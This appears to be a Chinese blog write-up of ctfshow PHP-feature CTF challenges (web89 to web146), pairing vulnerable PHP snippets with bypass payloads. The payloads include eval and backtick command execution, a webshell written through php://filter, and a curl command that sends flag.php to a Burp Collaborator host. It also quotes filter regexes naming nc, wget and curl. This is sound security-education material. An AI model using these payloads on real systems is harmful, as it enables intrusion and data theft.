IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshowPHP特性 -> 正文阅读

[PHP知识库]ctfshowPHP特性

web89-preg_match函数 、数组

 <?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

数组绕过正则表达式,也就是说我们不按规定去传一个数组而不是字符串,就会返回false,从而不会进入if,达到绕过的效果。

?num[]=

web90-intval()函数、强比较

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

对intval函数的绕过
在这里插入图片描述可以使用各种进制

intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格
?num=0x117c

web91-正则修饰符

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
/i  表示匹配的时候不区分大小写

/m 表示多行匹配,利用^$符号匹配每一行的开头结尾,若存在换行\n把这些作为换行符,然后逐行匹配

我们可以看到第一个preg_match()函数有/m,而第二个正则没有,我们可以利用换行进行绕过

?cmd=%0aphp

个人的理解就是这里第一个正则需要有php而第二个正则不允许有php,正因为第二个正则没有了/m,所以当%0a的时候它不会检查第二行,所以既有php它又检查不出来,但如果是php%0aphp的话,第一行不就存在php了吗?为什么还是可以

web92-intval()函数、弱比较

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

16进制直接过了,和90一样

?num=0x117c

web93-八进制与小数点

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

多了对字母的绕过,那换用8进制

?num=010574

web94-八进制与小数点

 <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

又加了一个strpos()
在这里插入图片描述专门拿来防第一位是0,那这里只要不是开头第一位是0就可以了,那我们给进制前加一个空格%20或者先换行%0a,或者使用浮点数加小数点4476.0的方法绕过

?num=%20010574
?num=%0a010574
?num=4476.0

web95-空格换行符

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

多过滤个点,不能用浮点型绕过了,在前面加空格、换行仍可

?num=%20010574
?num=%0a010574

web96-highlight_file() 下的目录路径

<?php
highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


} 

不能单独只出现flag.php,那就加上当前目录,或者加上绝对路径

?u=./flag.php

web97-强比较

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。

a[]=1&b[]=2

或者可以找到一些md5后都是0e开头的值,这样他们值不相同,md5()后就相同,再或者就找一些md5后完全相同的值

web98-三目运算符+变量覆盖

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 

get到新的知识点,三目运算+变量覆盖
$_GET?$_GET=&$_POST:'flag';如果get传参,那么就可以用post中的值将其覆盖
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);get传入一个HTTP_FLAG=flag即可得到flag
那不就是get随便传参,post传HTTP_FLAG=flag,然后让post去覆盖吗
在这里插入图片描述

web99-in_array()函数第三个参数

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?> 

分析源代码,array_push向数组里面插入随机数,in_array判断n中是否含有这个随机数,一开始想着把所有数字都写进去搞一个超级长的名字,但是发现名字一长就404了,那就多传几次123.php,传上去以后在页面进行命令执行

在这里插入图片描述

在这里插入图片描述

web100-反射类/命令执行

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
?> 

很明显v2用来传命令,v3用来传 ; ,然后v1的话是传一个数字来绕过is_numeric,这里and与&&的一个知识点

<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

v3可以用来传 ; ,注不注释都可以

可以rce cat php文件
?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;
可以直接var_dump ctfshow变量
?v1=1&v2=var_dump($ctfshow)&v3=;

最后get到flag还要替换0x2d(十六进制ASCII的‘-’符号),当然前面这两种方法都是非预期解,还是要了解使用反射类ReflectionClass

web101-反射类

yu神博客
感觉反射类很好理解,就是利用这个函数把类反射出来,就像是赋值一样,这样直接输出这个反射类就能得到原来的类,所以仍然v1输入数字v2输入命令v3输入 ;

?v1=1&v2=echo new ReflectionClass&v3=;

web102-103-回调函数、经base64与bin2hex后全为数字

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?> 

总思路:(v2从第三位开始所有的值作为v1函数的参数)->把v3作为文件名传入,既然往进写文件,那就可以写一个php的一句话木马或者是命令执行,那一句话木马如何只作为数字并且经过函数又正常执行呢,那一定是16进制和hex2bin,本以为这样就可以了,可能是因为php的原因,这里0x在is_numeric面前根本通不过,而且hex2bin也不允许有0x,所以这里还得再加一层base64,给文件内容进行base64加密然后v3利用php://filter/write=convert.base64-decode/resource伪协议把命令写进去,所以最终payload

get:?v2=11504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=1.php 
post: v1=hex2bin

这里v2就是

<?=`tac *`;  base64,网上都是cat,但得查看源代码,想试一试tac,没想到还得查看源代码
PD89YGNhdCAqYDs=  去掉等号,因为等号只是起到填充的作用,再bin2hex
11504438395948526859794171594473 因为从第三位算起,前面随便加两个数字

搞好以后访问1.php,查看页面源代码,在搞得时候忘记在前面随便加两个数字了,没想到好像还是可以,后来想看看原因,但手动hex2bin的时候卡住了,就不搞了,103关的话加了一个php的过滤,不过位置稍有尴尬,所以两个题一样的

web104、106-sha1碰撞

 <?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

与md5一样,sha1无法处理数组,也可以用科学计数法绕104甚至传两个一样的值都可

GET?v2[]=1
POST:v1[]=2

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

web105-变量覆盖

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?> 

我们可以发现在没有任何参数传入的时候先执行的是这一句
在这里插入图片描述

这里用到双变量覆盖,suces只是一个中间变量可以换成其他东西

GET: ?suces=flag 
POST: error=suces

那为什么不直接get传参?error=flag呢
在这里插入图片描述这样传进去就满足了
在这里插入图片描述

web107-parse_str

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}
?> 

parse_str()就是把输入的字符串解析到变量中,如果变量已经存在,就直接覆盖,那这里我们v1 v2的值就是任意传,那给flag传一个md5(v3)的值就是了在这里插入图片描述

get:?v3=1
post:v1=flag=c4ca4238a0b923820dcc509a6f75849b

web108-ereg()函数%00截断

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
?> 

这里用到两个知识点

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
intval()函数遇到非数字字符就会停止识别, 877aa识别为877

payload

?c=a%00aa778 

首先正则表达式只会匹配%00之前的内容,后面的被截断掉,通过正则表达式检测后,后面再通过反转函数变成877%00a,再用intval函数获取整数部分得到877,而877为0x36d的10进制。

web109-异常处理类

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?> 

这里通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)

?v1=Exception&v2=system('tac fl*')
?v1=ReflectionClass&v2=system('tac fl*')

web110-FilesystemIterator类读取文件

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}
?> 

FilesystemIterator就是一个读取目录下文件名的,如果参数能给一个/就能读取当前目录所有文件,这里符号都不能用了,这里php中的getcwd()可以帮我们替代/

?v1=FilesystemIterator&v2=getcwd

得到fl36dga.txt

web111-$GLOBALS全局变量

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
?> 
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

如果输出$FLOBALS就能输出全部变量,那这里给v2赋一个$FLOBALS的值它就会传给v1,然后var_dump(v1)便能输出所有的变量,而v1要求有ctfshow的字样,那就给v1赋值ctfshow

?v1=ctfshow&v2=GLOBALS

web112-php伪协议绕过is_file+highlight_file对于php伪协议的使用

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";

这里我们不能让is_file检测出是文件,但highlight_file可以识别为文件。这时候可以利用php伪协议

payload:
1.php://filter/resource=flag.php		不带任何过滤器的filter
2.php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
3.php://filter/read=convert.quoted-printable-encode/resource=flag.php	//可打印字符引用编码
4.compress.zlib://flag.php		//压缩流

web113-/proc/self/root

 <?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

又过滤了filter,这里试了一下?file=compress.zlib://flag.php直接成功,但这里预期解是利用/proc/self/root,在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容,这里得重复最少21次来绕过,但为什么重复就能绕过is_file

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web114-php://filter/resource

 <?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!

没有过滤php、filter直接读取flag

?file=php://filter/resource=flag.php

web115-trim函数的绕过+is_numeric绕过

 <?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} 

if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')
判断是数字不能是36,trim()删除一些字符,最后filter()过滤掉进制,浮点数,e,+,然后if($num=='36')得到flag,这里先fuzz测试一些能绕过这些函数的符号

测试is_numeric
for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'1';
   if(is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}
输出:%09%0A、 %0B、 %0C、 %0D、 +%2B、 -.(点)、
测试trim
for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}
输出:%0C、%2B(+号)、-.(点)、0123456789

除去被过滤的+ - . ,只剩下%0c ,也就是换页符\f

?num=%0c36

web123-php变量名特性[ .

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_,但是有一个特性可以使变量名出现.之类的那就是特殊字符[ ,当GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了如 CTF[SHOW.COM=>CTF_SHOW.COM,再通过最后的判断语句可知,输出flag的语句为echo $flag,所以最终payload

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

这里还以为$_SERVER['argv']根本没用,其实上面的payload算是非预期了,不过接下来的题还是会用到。

web125-126-$_SERVER[’’]

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

$_SERVER['argv']函数

1、cli模式(命令行)下

	第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]

    $argv,$argc在web模式下不适用

这里也就是$a[0]= $_SERVER['QUERY_STRING'],这时我们要做的是通过eval("$c".";");$flag赋值flag_give_me,先给处payload

get:  ?$fl0g=flag_give_me;
post:  CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

为什么题目里有个eval,这里还要传一个eval,这里传进去我们可以发现

eval("$c".";");     
eval("$a[0]".";");  
eval("eval($_SERVER['QUERY_STRING')]".";");
eval("$fl0g=flag_give_me".";");

因此才能成功赋值,然后这里还有其他各种解

get:?1=flag.php
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
预期解应该是下面这个,通过+进行分割 argv ,再利用parse_str:把查询的字符串解析到变量中
get: ?a=+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

web127-变量名空格转换_

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

利用空格会自动转换为_来绕过waf,这里就是找没有过滤的符号丢上去试试,+ _ [ .这几个就能自动转换_

?ctf show=ilove36d

web128-gettext、get_defined_vars

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}


function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

看到这个题能用符号,一直想着给f1传``这个符号,然后后面跟命令执行,但是这里有两个call_user_func()函数,因为命令执行在第一个call_user_func函数时就同时执行掉,所以不可行,这里是用到新的知识点gettextget_defined_vars

gettext:可以实现多国语言显示,假如你的国际化的程序里有这样的代码,echo “你好”;,而国际化的程序你要写成 echo gettext(“你好”);,然后再在配置文件里添加“你好”相对应的英文“Hi”。这时,中国地区浏览都会在屏幕上输出“你好”,而美国地区浏览都会在屏幕上输出“Hi”。
get_defined_vars ( void ) : array,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

get到这两个新知识点后就变得简单了

?f1=_&f2=get_defined_vars

var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));

web129-绕过stripos

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }

利用phpfilter伪协议,其中伪协议无效的话就会被过滤

php://filter/convert.base64.encode | ctfshow/resource=flag.php

利用目录穿越漏洞,最少得有一个…/

/ctfshow/../var/www/html/flag.php

web130-特殊字符前的符号

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;
}

这个正则只有在ctfshow前面至少有一个字符才匹配到,所以f直接等于ctfshow就行了,或者数组

POST:f=ctfshow

web131-利用正则最大回溯次数绕过

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
} 

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit,回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。

import requests
url = 'http://a77f5650-fd5d-499b-a21c-cd1cf8a2a02e.challenge.ctf.show:8080/'

payload = {
    'f':'a'*1000000+'36Dctfshow'
}
r = requests.post(url=url,data=payload)
print(r.text)

在这里插入图片描述

web132-php运算符优先级 ||优先级低于&&

访问robots.txt看到/admin就能得到源代码,如果404看看8080还在不在

<?php
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
} 

只需满足code=admin&username=admin即可

?username=admin&password=1&code=admin

web133-curl+dnslog

 <?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
} 

ctfshow web133和其他命令执行的骚操作再copyyu神的一个小例子

get传参   F=`$F `; sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行  ` `$F `;sleep 3 ` == shell_exec("`$F `; sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了

这里还利用到curl外带以及burp的dnslog,之前接触过这个题所以专(shun)门(bian)写(shui)了一篇dnslog,这里直接操作

payload: ?F=`$F`; curl -X POST -F xx=@flag.php http://juhspnhonkrsc5p0qayb5lgbi2osch.burpcollaborator.net

在这里插入图片描述

直接copy下url,替换掉上面payload中的url
在这里插入图片描述

web134-变量覆盖

 <?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
} 

刚开始就给出了key1 key2,后面还有@parse_str($_SERVER['QUERY_STRING']); extract($_POST);函数,一看就是变量覆盖

get:?_POST[key1]=36d&_POST[key2]=36d

payload传上去后就有了$?_POST[key1]和$?_POST[key2]两个变量和相应的值,再经过extract($_POST);后满足if条件

web135-写文件nl cp

 <?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
} 师傅们居然破解了前面的,那就来一个加强版吧

还想用133的方法但是发现函数都给禁用了,发现没有限制写文件

payload:F=`$F `; nl f*>1.txt
payload:F=`$F `; cp f* 2.txt

然后访问txt文件就是了

web136-tee

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 

许多符号和常用函数都被禁用,这里用到linux一个tee:用来读取标准输入的数据,并将其内容输出成文件

tee file1 file2 //复制文件
ls|tee 1.txt //命令输出

先查看目录

?c=ls /|tee 1  

在这里插入图片描述

知道目录直接查看

?c=nl /f149_15_h3r3|tee 1

然后就get到flag

web137-call_user_func()

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']); 

直接调用类中的函数

POST:ctfshow=ctfshow::getflag
php中 ->:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

web138-call_user_func()

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

call_user_func中不但可以传字符串也可以传数组。

call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法
POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139-未做

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 

脚本?笑死根本不会。

web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

拼凑函数,凑出intval($code)为0或false或NULL的,而intval会将非数字字符转换为0,所以只要拼凑的函数不是数字字符就是了

f1=current&f2=localeconv
f1=usleep&f2=usleep
f1=md5&f2=md5

web141

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

web142

web143

web144

web145

web146

